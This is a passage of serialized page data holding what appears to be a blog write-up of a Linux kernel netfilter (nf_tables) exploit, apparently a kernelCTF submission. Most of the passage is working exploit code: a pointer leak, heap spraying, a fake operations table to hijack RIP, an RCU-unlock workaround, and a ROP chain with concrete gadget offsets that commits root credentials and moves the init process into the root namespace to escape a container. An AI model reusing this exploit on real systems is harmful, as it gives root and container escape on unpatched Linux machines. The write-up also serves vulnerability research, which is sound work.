obj_ptr);\n[...]\n",[61426],{"type":24,"tag":80,"props":61427,"children":61428},{"__ignoreMap":7},[61429,61436,61444,61457,61505,61532,61543,61581,61588,61617,61647],{"type":24,"tag":147,"props":61430,"children":61431},{"class":149,"line":150},[61432],{"type":24,"tag":147,"props":61433,"children":61434},{"style":235},[61435],{"type":29,"value":15939},{"type":24,"tag":147,"props":61437,"children":61438},{"class":149,"line":160},[61439],{"type":24,"tag":147,"props":61440,"children":61441},{"style":235},[61442],{"type":29,"value":61443},"    // Leak nft_object ptr using table linked list\n",{"type":24,"tag":147,"props":61445,"children":61446},{"class":149,"line":169},[61447,61452],{"type":24,"tag":147,"props":61448,"children":61449},{"style":235},[61450],{"type":29,"value":61451},"    fake_obj[8] = 8;",{"type":24,"tag":147,"props":61453,"children":61454},{"style":154},[61455],{"type":29,"value":61456},"           // ulen = 8\n",{"type":24,"tag":147,"props":61458,"children":61459},{"class":149,"line":178},[61460,61465,61469,61474,61478,61482,61487,61491,61495,61500],{"type":24,"tag":147,"props":61461,"children":61462},{"style":247},[61463],{"type":29,"value":61464},"    fake_obj",{"type":24,"tag":147,"props":61466,"children":61467},{"style":235},[61468],{"type":29,"value":9358},{"type":24,"tag":147,"props":61470,"children":61471},{"style":705},[61472],{"type":29,"value":61473},"9",{"type":24,"tag":147,"props":61475,"children":61476},{"style":235},[61477],{"type":29,"value":14286},{"type":24,"tag":147,"props":61479,"children":61480},{"style":241},[61481],{"type":29,"value":369},{"type":24,"tag":147,"props":61483,"children":61484},{"style":247},[61485],{"type":29,"value":61486}," fake_obj",{"type":24,"tag":147,"props":61488,"children":61489},{"style":235},[61490],{"type":29,"value":9358},{"type":24,"tag":147,"props":61492,"children":61493},{"style":705},[61494],{"type":29,"value":3173},{"type":24,"tag":147,"props":61496,"children":61497},{"style":235},[61498],{"type":29,"value":61499},"];",{"type":24,"tag":147,"props":61501,"children":61502},{"style":154},[61503],{"type":29,"value":61504}," // udata = list->next\n",{"type":24,"tag":147,"props":61506,"children":61507},{"class":149,"line":187},[61508,61512,61516,61520,61524,61528],{"type":24,"tag":147,"props":61509,"children":61510},{"style":229},[61511],{"type":29,"value":61116},{"type":24,"tag":147,"props":61513,"children":61514},{"style":235},[61515],{"type":29,"value":61121},{"type":24,"tag":147,"props":61517,"children":61518},{"style":705},[61519],{"type":29,"value":8753},{"type":24,"tag":147,"props":61521,"children":61522},{"style":235},[61523],{"type":29,"value":546},{"type":24,"tag":147,"props":61525,"children":61526},{"style":705},[61527],{"type":29,"value":1154},{"type":24,"tag":147,"props":61529,"children":61530},{"style":235},[61531],{"type":29,"value":1473},{"type":24,"tag":147,"props":61533,"children":61534},{"class":149,"line":196},[61535,61539],{"type":24,"tag":147,"props":61536,"children":61537},{"style":229},[61538],{"type":29,"value":61145},{"type":24,"tag":147,"props":61540,"children":61541},{"style":235},[61542],{"type":29,"value":9295},{"type":24,"tag":147,"props":61544,"children":61545},{"class":149,"line":205},[61546,61551,61555,61560,61564,61568,61572,61576],{"type":24,"tag":147,"props":61547,"children":61548},{"style":229},[61549],{"type":29,"value":61550},"    udata_spray",{"type":24,"tag":147,"props":61552,"children":61553},{"style":235},[61554],{"type":29,"value":61121},{"type":24,"tag":147,"props":61556,"children":61557},{"style":705},[61558],{"type":29,"value":61559},"0xe8",{"type":24,"tag":147,"props":61561,"children":61562},{"style":235},[61563],{"type":29,"value":546},{"type":24,"tag":147,"props":61565,"children":61566},{"style":705},[61567],{"type":29,"value":22901},{"type":24,"tag":147,"props":61569,"children":61570},{"style":235},[61571],{"type":29,"value":546},{"type":24,"tag":147,"props":61573,"children":61574},{"style":705},[61575],{"type":29,"value":1154},{"type":24,"tag":147,"props":61577,"children":61578},{"style":235},[61579],{"type":29,"value":61580},", fake_obj);\n",{"type":24,"tag":147,"props":61582,"children":61583},{"class":149,"line":214},[61584],{"type":24,"tag":147,"props":61585,"children":61586},{"emptyLinePlaceholder":16},[61587],{"type":29,"value":314},{"type":24,"tag":147,"props":61589,"children":61590},{"class":149,"line":272},[61591,61596,61600,61605,61609,61613],{"type":24,"tag":147,"props":61592,"children":61593},{"style":229},[61594],{"type":29,"value":61595},"    get_obj",{"type":24,"tag":147,"props":61597,"children":61598},{"style":235},[61599],{"type":29,"value":61121},{"type":24,"tag":147,"props":61601,"children":61602},{"style":3534},[61603],{"type":29,"value":61604},"\"spray-0\"",{"type":24,"tag":147,"props":61606,"children":61607},{"style":235},[61608],{"type":29,"value":546},{"type":24,"tag":147,"props":61610,"children":61611},{"style":218},[61612],{"type":29,"value":9619},{"type":24,"tag":147,"props":61614,"children":61615},{"style":235},[61616],{"type":29,"value":1473},{"type":24,"tag":147,"props":61618,"children":61619},{"class":149,"line":281},[61620,61625,61629,61634,61638,61642],{"type":24,"tag":147,"props":61621,"children":61622},{"style":229},[61623],{"type":29,"value":61624},"    printf",{"type":24,"tag":147,"props":61626,"children":61627},{"style":235},[61628],{"type":29,"value":480},{"type":24,"tag":147,"props":61630,"children":61631},{"style":3534},[61632],{"type":29,"value":61633},"\"[*] nft_object ptr: 0x%lx",{"type":24,"tag":147,"props":61635,"children":61636},{"style":53972},[61637],{"type":29,"value":53975},{"type":24,"tag":147,"props":61639,"children":61640},{"style":3534},[61641],{"type":29,"value":25663},{"type":24,"tag":147,"props":61643,"children":61644},{"style":235},[61645],{"type":29,"value":61646},", obj_ptr);\n",{"type":24,"tag":147,"props":61648,"children":61649},{"class":149,"line":299},[61650],{"type":24,"tag":147,"props":61651,"children":61652},{"style":235},[61653],{"type":29,"value":15939},{"type":24,"tag":43,"props":61655,"children":61657},{"id":61656},"hijacking-control-flow",[61658],{"type":29,"value":61659},"Hijacking control-flow",{"type":24,"tag":25,"props":61661,"children":61662},{},[61663,61665,61670,61672,61677,61679,61684,61686,61691,61693,61698,61700],{"type":29,"value":61664},"To hijack control-flow, we can use ",{"type":24,"tag":80,"props":61666,"children":61668},{"className":61667},[],[61669],{"type":29,"value":60703},{"type":29,"value":61671}," once again. The ",{"type":24,"tag":80,"props":61673,"children":61675},{"className":61674},[],[61676],{"type":29,"value":60703},{"type":29,"value":61678}," struct has an ",{"type":24,"tag":80,"props":61680,"children":61682},{"className":61681},[],[61683],{"type":29,"value":58260},{"type":29,"value":61685}," pointer to a function pointer table. We can swap the ",{"type":24,"tag":80,"props":61687,"children":61689},{"className":61688},[],[61690],{"type":29,"value":58260},{"type":29,"value":61692}," pointer with the ",{"type":24,"tag":80,"props":61694,"children":61696},{"className":61695},[],[61697],{"type":29,"value":60688},{"type":29,"value":61699}," pointer, taking control of the pointer table.\n",{"type":24,"tag":63,"props":61701,"children":61703},{"alt":56176,"src":61702},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":24,"tag":137,"props":61705,"children":61707},{"className":34712,"code":61706,"language":34714,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[61708],{"type":24,"tag":80,"props":61709,"children":61710},{"__ignoreMap":7},[61711,61718,61726,61750,61797,61833,61840,61848,61880,61888,61896,61917,61925,61933,61997,62004,62012,62020,62027,62035,62069,62077,62084,62092,62099,62107,62140,62161],{"type":24,"tag":147,"props":61712,"children":61713},{"class":149,"line":150},[61714],{"type":24,"tag":147,"props":61715,"children":61716},{"style":235},[61717],{"type":29,"value":15939},{"type":24,"tag":147,"props":61719,"children":61720},{"class":149,"line":160},[61721],{"type":24,"tag":147,"props":61722,"children":61723},{"style":235},[61724],{"type":29,"value":61725},"    // Fake ops\n",{"type":24,"tag":147,"props":61727,"children":61728},{"class":149,"line":169},[61729,61734,61738,61742,61746],{"type":24,"tag":147,"props":61730,"children":61731},{"style":235},[61732],{"type":29,"value":61733},"    uint64_t *rop = calloc(29, ",{"type":24,"tag":147,"props":61735,"children":61736},{"style":9044},[61737],{"type":29,"value":384},{"type":24,"tag":147,"props":61739,"children":61740},{"style":235},[61741],{"type":29,"value":480},{"type":24,"tag":147,"props":61743,"children":61744},{"style":218},[61745],{"type":29,"value":61222},{"type":24,"tag":147,"props":61747,"children":61748},{"style":235},[61749],{"type":29,"value":12849},{"type":24,"tag":147,"props":61751,"children":61752},{"class":149,"line":178},[61753,61758,61762,61766,61770,61774,61779,61783,61788,61792],{"type":24,"tag":147,"props":61754,"children":61755},{"style":247},[61756],{"type":29,"value":61757},"    rop",{"type":24,"tag":147,"props":61759,"children":61760},{"style":235},[61761],{"type":29,"value":9358},{"type":24,"tag":147,"props":61763,"children":61764},{"style":705},[61765],{"type":29,"value":3173},{"type":24,"tag":147,"props":61767,"children":61768},{"style":235},[61769],{"type":29,"value":14286},{"type":24,"tag":147,"props":61771,"children":61772},{"style":241},[61773],{"type":29,"value":369},{"type":24,"tag":147,"props":61775,"children":61776},{"style":235},[61777],{"type":29,"value":61778}," kaslr_slide ",{"type":24,"tag":147,"props":61780,"children":61781},{"style":241},[61782],{"type":29,"value":624},{"type":24,"tag":147,"props":61784,"children":61785},{"style":705},[61786],{"type":29,"value":61787}," 0xffffffff81988647",{"type":24,"tag":147,"props":61789,"children":61790},{"style":235},[61791],{"type":29,"value":54672},{"type":24,"tag":147,"props":61793,"children":61794},{"style":154},[61795],{"type":29,"value":61796}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":24,"tag":147,"props":61798,"children":61799},{"class":149,"line":187},[61800,61804,61808,61812,61816,61820,61824,61828],{"type":24,"tag":147,"props":61801,"children":61802},{"style":247},[61803],{"type":29,"value":61757},{"type":24,"tag":147,"props":61805,"children":61806},{"style":235},[61807],{"type":29,"value":9358},{"type":24,"tag":147,"props":61809,"children":61810},{"style":705},[61811],{"type":29,"value":8753},{"type":24,"tag":147,"props":61813,"children":61814},{"style":235},[61815],{"type":29,"value":14286},{"type":24,"tag":147,"props":61817,"children":61818},{"style":241},[61819],{"type":29,"value":369},{"type":24,"tag":147,"props":61821,"children":61822},{"style":235},[61823],{"type":29,"value":61778},{"type":24,"tag":147,"props":61825,"children":61826},{"style":241},[61827],{"type":29,"value":624},{"type":24,"tag":147,"props":61829,"children":61830},{"style":235},[61831],{"type":29,"value":61832}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":24,"tag":147,"props":61834,"children":61835},{"class":149,"line":196},[61836],{"type":24,"tag":147,"props":61837,"children":61838},{"style":235},[61839],{"type":29,"value":15939},{"type":24,"tag":147,"props":61841,"children":61842},{"class":149,"line":205},[61843],{"type":24,"tag":147,"props":61844,"children":61845},{"style":235},[61846],{"type":29,"value":61847},"    // Send ROP in object udata\n",{"type":24,"tag":147,"props":61849,"children":61850},{"class":149,"line":214},[61851,61856,61860,61865,61870,61875],{"type":24,"tag":147,"props":61852,"children":61853},{"style":235},[61854],{"type":29,"value":61855},"    del_obj(",{"type":24,"tag":147,"props":61857,"children":61858},{"style":9044},[61859],{"type":29,"value":59880},{"type":24,"tag":147,"props":61861,"children":61862},{"style":235},[61863],{"type":29,"value":61864},", \"",{"type":24,"tag":147,"props":61866,"children":61867},{"style":9044},[61868],{"type":29,"value":61869},"spray",{"type":24,"tag":147,"props":61871,"children":61872},{"style":235},[61873],{"type":29,"value":61874},"-0",{"type":24,"tag":147,"props":61876,"children":61877},{"style":3534},[61878],{"type":29,"value":61879},"\");\n",{"type":24,"tag":147,"props":61881,"children":61882},{"class":149,"line":272},[61883],{"type":24,"tag":147,"props":61884,"children":61885},{"style":3534},[61886],{"type":29,"value":61887},"    wait_destroyer();\n",{"type":24,"tag":147,"props":61889,"children":61890},{"class":149,"line":281},[61891],{"type":24,"tag":147,"props":61892,"children":61893},{"style":3534},[61894],{"type":29,"value":61895},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":24,"tag":147,"props":61897,"children":61898},{"class":149,"line":299},[61899,61904,61908,61913],{"type":24,"tag":147,"props":61900,"children":61901},{"style":3534},[61902],{"type":29,"value":61903},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":24,"tag":147,"props":61905,"children":61906},{"style":218},[61907],{"type":29,"value":61869},{"type":24,"tag":147,"props":61909,"children":61910},{"style":235},[61911],{"type":29,"value":61912},"-3",{"type":24,"tag":147,"props":61914,"children":61915},{"style":3534},[61916],{"type":29,"value":61879},{"type":24,"tag":147,"props":61918,"children":61919},{"class":149,"line":308},[61920],{"type":24,"tag":147,"props":61921,"children":61922},{"style":3534},[61923],{"type":29,"value":61924},"    DumpHex(fake_obj, 0xe8);\n",{"type":24,"tag":147,"props":61926,"children":61927},{"class":149,"line":317},[61928],{"type":24,"tag":147,"props":61929,"children":61930},{"style":3534},[61931],{"type":29,"value":61932},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":24,"tag":147,"props":61934,"children":61935},{"class":149,"line":332},[61936,61941,61945,61949,61953,61958,61963,61968,61972,61977,61982,61987,61992],{"type":24,"tag":147,"props":61937,"children":61938},{"style":3534},[61939],{"type":29,"value":61940},"    printf(\"",{"type":24,"tag":147,"props":61942,"children":61943},{"style":235},[61944],{"type":29,"value":9358},{"type":24,"tag":147,"props":61946,"children":61947},{"style":241},[61948],{"type":29,"value":244},{"type":24,"tag":147,"props":61950,"children":61951},{"style":235},[61952],{"type":29,"value":14286},{"type":24,"tag":147,"props":61954,"children":61955},{"style":9044},[61956],{"type":29,"value":61957},"ROP",{"type":24,"tag":147,"props":61959,"children":61960},{"style":9044},[61961],{"type":29,"value":61962}," addr",{"type":24,"tag":147,"props":61964,"children":61965},{"style":235},[61966],{"type":29,"value":61967},": 0",{"type":24,"tag":147,"props":61969,"children":61970},{"style":9044},[61971],{"type":29,"value":24880},{"type":24,"tag":147,"props":61973,"children":61974},{"style":235},[61975],{"type":29,"value":61976},"%",{"type":24,"tag":147,"props":61978,"children":61979},{"style":9044},[61980],{"type":29,"value":61981},"lx",{"type":24,"tag":147,"props":61983,"children":61984},{"style":235},[61985],{"type":29,"value":61986},"\\",{"type":24,"tag":147,"props":61988,"children":61989},{"style":9044},[61990],{"type":29,"value":61991},"n",{"type":24,"tag":147,"props":61993,"children":61994},{"style":3534},[61995],{"type":29,"value":61996},"\", rop_addr);\n",{"type":24,"tag":147,"props":61998,"children":61999},{"class":149,"line":350},[62000],{"type":24,"tag":147,"props":62001,"children":62002},{"emptyLinePlaceholder":16},[62003],{"type":29,"value":314},{"type":24,"tag":147,"props":62005,"children":62006},{"class":149,"line":358},[62007],{"type":24,"tag":147,"props":62008,"children":62009},{"style":3534},[62010],{"type":29,"value":62011},"    // Point to fake ops\n",{"type":24,"tag":147,"props":62013,"children":62014},{"class":149,"line":397},[62015],{"type":24,"tag":147,"props":62016,"children":62017},{"style":3534},[62018],{"type":29,"value":62019},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":24,"tag":147,"props":62021,"children":62022},{"class":149,"line":421},[62023],{"type":24,"tag":147,"props":62024,"children":62025},{"style":3534},[62026],{"type":29,"value":15939},{"type":24,"tag":147,"props":62028,"children":62029},{"class":149,"line":435},[62030],{"type":24,"tag":147,"props":62031,"children":62032},{"style":3534},[62033],{"type":29,"value":62034},"    // Write ROP\n",{"type":24,"tag":147,"props":62036,"children":62037},{"class":149,"line":444},[62038,62043,62047,62051,62055,62060,62065],{"type":24,"tag":147,"props":62039,"children":62040},{"style":3534},[62041],{"type":29,"value":62042},"    puts(\"",{"type":24,"tag":147,"props":62044,"children":62045},{"style":235},[62046],{"type":29,"value":9358},{"type":24,"tag":147,"props":62048,"children":62049},{"style":241},[62050],{"type":29,"value":244},{"type":24,"tag":147,"props":62052,"children":62053},{"style":235},[62054],{"type":29,"value":14286},{"type":24,"tag":147,"props":62056,"children":62057},{"style":9044},[62058],{"type":29,"value":62059},"Write",{"type":24,"tag":147,"props":62061,"children":62062},{"style":9044},[62063],{"type":29,"value":62064}," ROP",{"type":24,"tag":147,"props":62066,"children":62067},{"style":3534},[62068],{"type":29,"value":61879},{"type":24,"tag":147,"props":62070,"children":62071},{"class":149,"line":452},[62072],{"type":24,"tag":147,"props":62073,"children":62074},{"style":3534},[62075],{"type":29,"value":62076},"    deludata_spray(nl, 3, 1);\n",{"type":24,"tag":147,"props":62078,"children":62079},{"class":149,"line":461},[62080],{"type":24,"tag":147,"props":62081,"children":62082},{"style":3534},[62083],{"type":29,"value":61887},{"type":24,"tag":147,"props":62085,"children":62086},{"class":149,"line":469},[62087],{"type":24,"tag":147,"props":62088,"children":62089},{"style":3534},[62090],{"type":29,"value":62091},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":24,"tag":147,"props":62093,"children":62094},{"class":149,"line":508},[62095],{"type":24,"tag":147,"props":62096,"children":62097},{"emptyLinePlaceholder":16},[62098],{"type":29,"value":314},{"type":24,"tag":147,"props":62100,"children":62101},{"class":149,"line":572},[62102],{"type":24,"tag":147,"props":62103,"children":62104},{"style":3534},[62105],{"type":29,"value":62106},"    // Takeover RIP\n",{"type":24,"tag":147,"props":62108,"children":62109},{"class":149,"line":591},[62110,62114,62118,62122,62126,62131,62136],{"type":24,"tag":147,"props":62111,"children":62112},{"style":3534},[62113],{"type":29,"value":62042},{"type":24,"tag":147,"props":62115,"children":62116},{"style":235},[62117],{"type":29,"value":9358},{"type":24,"tag":147,"props":62119,"children":62120},{"style":241},[62121],{"type":29,"value":244},{"type":24,"tag":147,"props":62123,"children":62124},{"style":235},[62125],{"type":29,"value":14286},{"type":24,"tag":147,"props":62127,"children":62128},{"style":9044},[62129],{"type":29,"value":62130},"Takeover",{"type":24,"tag":147,"props":62132,"children":62133},{"style":9044},[62134],{"type":29,"value":62135}," RIP",{"type":24,"tag":147,"props":62137,"children":62138},{"style":3534},[62139],{"type":29,"value":61879},{"type":24,"tag":147,"props":62141,"children":62142},{"class":149,"line":632},[62143,62148,62152,62157],{"type":24,"tag":147,"props":62144,"children":62145},{"style":3534},[62146],{"type":29,"value":62147},"    dump_obj(nl, \"",{"type":24,"tag":147,"props":62149,"children":62150},{"style":218},[62151],{"type":29,"value":61869},{"type":24,"tag":147,"props":62153,"children":62154},{"style":235},[62155],{"type":29,"value":62156},"-1",{"type":24,"tag":147,"props":62158,"children":62159},{"style":3534},[62160],{"type":29,"value":61879},{"type":24,"tag":147,"props":62162,"children":62163},{"class":149,"line":659},[62164],{"type":24,"tag":147,"props":62165,"children":62166},{"style":3534},[62167],{"type":29,"value":15939},{"type":24,"tag":43,"props":62169,"children":62171},{"id":62170},"bypass-context-switch-in-rcu-critical-section",[62172],{"type":29,"value":62173},"Bypass context switch in RCU critical-section",{"type":24,"tag":25,"props":62175,"children":62176},{},[62177,62178,62183],{"type":29,"value":5094},{"type":24,"tag":80,"props":62179,"children":62181},{"className":62180},[],[62182],{"type":29,"value":60703},{"type":29,"value":62184}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":24,"tag":25,"props":62186,"children":62187},{},[62188,62190,62197,62199,62205,62207,62213],{"type":29,"value":62189},"A workaround has been discussed before by D3v17 in a ",{"type":24,"tag":2773,"props":62191,"children":62194},{"href":62192,"rel":62193},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[2777],[62195],{"type":29,"value":62196},"previous kernelCTF submission",{"type":29,"value":62198}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":24,"tag":80,"props":62200,"children":62202},{"className":62201},[],[62203],{"type":29,"value":62204},"task_struct",{"type":29,"value":62206}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":24,"tag":80,"props":62208,"children":62210},{"className":62209},[],[62211],{"type":29,"value":62212},"__rcu_read_unlock()",{"type":29,"value":62214}," function and exit the RCU critical-section before switching contexts.",{"type":24,"tag":137,"props":62216,"children":62218},{"className":34712,"code":62217,"language":34714,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[62219],{"type":24,"tag":80,"props":62220,"children":62221},{"__ignoreMap":7},[62222,62230,62254,62261],{"type":24,"tag":147,"props":62223,"children":62224},{"class":149,"line":150},[62225],{"type":24,"tag":147,"props":62226,"children":62227},{"style":154},[62228],{"type":29,"value":62229},"    // ROP stage 1\n",{"type":24,"tag":147,"props":62231,"children":62232},{"class":149,"line":160},[62233,62237,62242,62246,62250],{"type":24,"tag":147,"props":62234,"children":62235},{"style":218},[62236],{"type":29,"value":4499},{"type":24,"tag":147,"props":62238,"children":62239},{"style":235},[62240],{"type":29,"value":62241}," pos ",{"type":24,"tag":147,"props":62243,"children":62244},{"style":241},[62245],{"type":29,"value":369},{"type":24,"tag":147,"props":62247,"children":62248},{"style":705},[62249],{"type":29,"value":24703},{"type":24,"tag":147,"props":62251,"children":62252},{"style":235},[62253],{"type":29,"value":432},{"type":24,"tag":147,"props":62255,"children":62256},{"class":149,"line":169},[62257],{"type":24,"tag":147,"props":62258,"children":62259},{"emptyLinePlaceholder":16},[62260],{"type":29,"value":314},{"type":24,"tag":147,"props":62262,"children":62263},{"class":149,"line":178},[62264,62268,62273,62277,62281,62285,62289,62293],{"type":24,"tag":147,"props":62265,"children":62266},{"style":247},[62267],{"type":29,"value":61757},{"type":24,"tag":147,"props":62269,"children":62270},{"style":235},[62271],{"type":29,"value":62272},"[pos",{"type":24,"tag":147,"props":62274,"children":62275},{"style":241},[62276],{"type":29,"value":56862},{"type":24,"tag":147,"props":62278,"children":62279},{"style":235},[62280],{"type":29,"value":14286},{"type":24,"tag":147,"props":62282,"children":62283},{"style":241},[62284],{"type":29,"value":369},{"type":24,"tag":147,"props":62286,"children":62287},{"style":235},[62288],{"type":29,"value":61778},{"type":24,"tag":147,"props":62290,"children":62291},{"style":241},[62292],{"type":29,"value":624},{"type":24,"tag":147,"props":62294,"children":62295},{"style":235},[62296],{"type":29,"value":62297}," __RCU_READ_UNLOCK;\n",{"type":24,"tag":43,"props":62299,"children":62301},{"id":62300},"rop",[62302],{"type":29,"value":61957},{"type":24,"tag":25,"props":62304,"children":62305},{},[62306],{"type":29,"value":62307},"Most of the ROP chain to escape the container as root is business as usual:",{"type":24,"tag":22292,"props":62309,"children":62310},{},[62311,62322,62333],{"type":24,"tag":2678,"props":62312,"children":62313},{},[62314,62320],{"type":24,"tag":80,"props":62315,"children":62317},{"className":62316},[],[62318],{"type":29,"value":62319},"commit_creds(&init_cred);",{"type":29,"value":62321}," Commit root credentials to our process",{"type":24,"tag":2678,"props":62323,"children":62324},{},[62325,62331],{"type":24,"tag":80,"props":62326,"children":62328},{"className":62327},[],[62329],{"type":29,"value":62330},"task = find_task_by_vpid(1);",{"type":29,"value":62332}," Find the root process of our namespace",{"type":24,"tag":2678,"props":62334,"children":62335},{},[62336,62342],{"type":24,"tag":80,"props":62337,"children":62339},{"className":62338},[],[62340],{"type":29,"value":62341},"switch_task_namespaces(task, &init_nsproxy);",{"type":29,"value":62343}," Move it to the root namespace",{"type":24,"tag":25,"props":62345,"children":62346},{},[62347,62349,62355,62357,62363,62365,62371,62373,62379,62381,62386,62388,62394],{"type":29,"value":62348},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":24,"tag":80,"props":62350,"children":62352},{"className":62351},[],[62353],{"type":29,"value":62354},"find_task_by_vpid(1)",{"type":29,"value":62356}," passed through ",{"type":24,"tag":80,"props":62358,"children":62360},{"className":62359},[],[62361],{"type":29,"value":62362},"rax",{"type":29,"value":62364}," to ",{"type":24,"tag":80,"props":62366,"children":62368},{"className":62367},[],[62369],{"type":29,"value":62370},"rdi",{"type":29,"value":62372},". What I ended up going with was a ",{"type":24,"tag":80,"props":62374,"children":62376},{"className":62375},[],[62377],{"type":29,"value":62378},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":29,"value":62380}," gadget, that allowed me to push the ",{"type":24,"tag":80,"props":62382,"children":62384},{"className":62383},[],[62385],{"type":29,"value":62362},{"type":29,"value":62387}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":24,"tag":80,"props":62389,"children":62391},{"className":62390},[],[62392],{"type":29,"value":62393},"pop rdi; ret",{"type":29,"value":62395}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":24,"tag":22292,"props":62397,"children":62398},{},[62399,62404,62417],{"type":24,"tag":2678,"props":62400,"children":62401},{},[62402],{"type":29,"value":62403},"We push the value onto the stack (stack pointer regresses)",{"type":24,"tag":2678,"props":62405,"children":62406},{},[62407,62409,62415],{"type":29,"value":62408},"We jump to our \"trampoline\" gadget (",{"type":24,"tag":80,"props":62410,"children":62412},{"className":62411},[],[62413],{"type":29,"value":62414},"pop rdi; ret;",{"type":29,"value":62416}," location)",{"type":24,"tag":2678,"props":62418,"children":62419},{},[62420,62425],{"type":24,"tag":80,"props":62421,"children":62423},{"className":62422},[],[62424],{"type":29,"value":62393},{"type":29,"value":62426}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":24,"tag":137,"props":62428,"children":62430},{"className":34712,"code":62429,"language":34714,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[62431],{"type":24,"tag":80,"props":62432,"children":62433},{"__ignoreMap":7},[62434,62441,62458,62503,62539,62575,62582,62590,62633,62664,62700,62745,62800,62845,62852,62860,62903,62939,62975],{"type":24,"tag":147,"props":62435,"children":62436},{"class":149,"line":150},[62437],{"type":24,"tag":147,"props":62438,"children":62439},{"style":235},[62440],{"type":29,"value":15939},{"type":24,"tag":147,"props":62442,"children":62443},{"class":149,"line":160},[62444,62449,62454],{"type":24,"tag":147,"props":62445,"children":62446},{"style":235},[62447],{"type":29,"value":62448},"    // commit_creds(&",{"type":24,"tag":147,"props":62450,"children":62451},{"style":247},[62452],{"type":29,"value":62453},"init_cred",{"type":24,"tag":147,"props":62455,"children":62456},{"style":235},[62457],{"type":29,"value":1473},{"type":24,"tag":147,"props":62459,"children":62460},{"class":149,"line":169},[62461,62465,62469,62473,62477,62481,62485,62489,62494,62498],{"type":24,"tag":147,"props":62462,"children":62463},{"style":247},[62464],{"type":29,"value":61757},{"type":24,"tag":147,"props":62466,"children":62467},{"style":235},[62468],{"type":29,"value":62272},{"type":24,"tag":147,"props":62470,"children":62471},{"style":241},[62472],{"type":29,"value":56862},{"type":24,"tag":147,"props":62474,"children":62475},{"style":235},[62476],{"type":29,"value":14286},{"type":24,"tag":147,"props":62478,"children":62479},{"style":241},[62480],{"type":29,"value":369},{"type":24,"tag":147,"props":62482,"children":62483},{"style":235},[62484],{"type":29,"value":61778},{"type":24,"tag":147,"props":62486,"children":62487},{"style":241},[62488],{"type":29,"value":624},{"type":24,"tag":147,"props":62490,"children":62491},{"style":705},[62492],{"type":29,"value":62493}," 0xffffffff8112c7c0",{"type":24,"tag":147,"props":62495,"children":62496},{"style":235},[62497],{"type":29,"value":54672},{"type":24,"tag":147,"props":62499,"children":62500},{"style":154},[62501],{"type":29,"value":62502}," // pop rdi; 